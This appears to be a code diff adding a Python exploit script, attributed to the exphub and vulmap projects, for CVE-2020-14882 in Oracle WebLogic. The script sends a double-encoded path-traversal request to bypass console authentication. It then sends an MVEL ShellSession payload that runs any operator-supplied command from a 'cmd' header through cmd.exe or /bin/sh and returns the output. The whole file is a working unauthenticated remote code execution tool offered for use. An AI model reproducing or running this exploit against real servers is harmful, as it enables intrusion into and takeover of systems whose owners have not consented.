|
| 1 | +#!/usr/bin/env python3 |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | +# author: zhzyker |
| 4 | +# from: https://github.com/zhzyker/vulmap |
| 5 | +# from: https://github.com/zhzyker/exphub |
| 6 | +import http.client |
| 7 | +import requests |
| 8 | +import sys |
| 9 | +import argparse |
| 10 | +http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0' |
| 11 | + |
| 12 | +payload_cve_2020_14882_v12 = ('_nfpb=true&_pageLabel=&handle=' |
| 13 | + 'com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = ' |
| 14 | + '(weblogic.work.ExecuteThread) Thread.currentThread(); weblogic.work.WorkAdapter adapter = ' |
| 15 | + 'executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField' |
| 16 | + '("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet' |
| 17 | + '.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) ' |
| 18 | + 'obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); ' |
| 19 | + 'String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]' |
| 20 | + '{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; if (cmd != null) { String result ' |
| 21 | + '= new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter' |
| 22 | + '("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.' |
| 23 | + 'ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);' |
| 24 | + 'res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));' |
| 25 | + 'res.getServletOutputStream().flush(); res.getWriter().write(""); }executeThread.interrupt(); ");') |
| 26 | + |
| 27 | +def cve_2020_14882(url, cmd): |
| 28 | + payload = payload_cve_2020_14882_v12 |
| 29 | + path = "/console/css/%252e%252e%252fconsole.portal" |
| 30 | + headers = { |
| 31 | + 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36', |
| 32 | + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,' |
| 33 | + 'application/signed-exchange;v=b3;q=0.9', |
| 34 | + 'Accept-Encoding': 'gzip, deflate', |
| 35 | + 'Accept-Language': 'zh-CN,zh;q=0.9', |
| 36 | + 'Connection': 'close', |
| 37 | + 'Content-Type': 'application/x-www-form-urlencoded', |
| 38 | + 'cmd': cmd |
| 39 | + } |
| 40 | + try: |
| 41 | + request = requests.post(url + path, data=payload, headers=headers, timeout=10, verify=False) |
| 42 | + print(request.text) |
| 43 | + except Exception as error: |
| 44 | + print("[-] Vuln Check Failed... ...") |
| 45 | + print("[-] More Weblogic vulnerabilities in https://github.com/zhzyker/vulmap") |
| 46 | + |
| 47 | + |
| 48 | + |
| 49 | + |
| 50 | +if __name__ == '__main__': |
| 51 | + parser = argparse.ArgumentParser(description='Weblogic cve-2020-14882', |
| 52 | + usage='use "python %(prog)s --help" for more information', |
| 53 | + formatter_class=argparse.RawTextHelpFormatter) |
| 54 | + parser.add_argument("-u", "--url", |
| 55 | + dest="url", |
| 56 | + help="target url (http://127.0.0.1:7001)" |
| 57 | + ) |
| 58 | + |
| 59 | + parser.add_argument("-c", "--cmd", |
| 60 | + dest="cmd", |
| 61 | + help="command" |
| 62 | + ) |
| 63 | + args = parser.parse_args() |
| 64 | + if not args.url or not args.cmd: |
| 65 | + sys.exit('[*] Please assign url and cmd! \n[*] Examples python cve-2020-14882_rce.py -u http://127.0.0.1:7001 -c whoami') |
| 66 | + cve_2020_14882(args.url, args.cmd) |
0 commit comments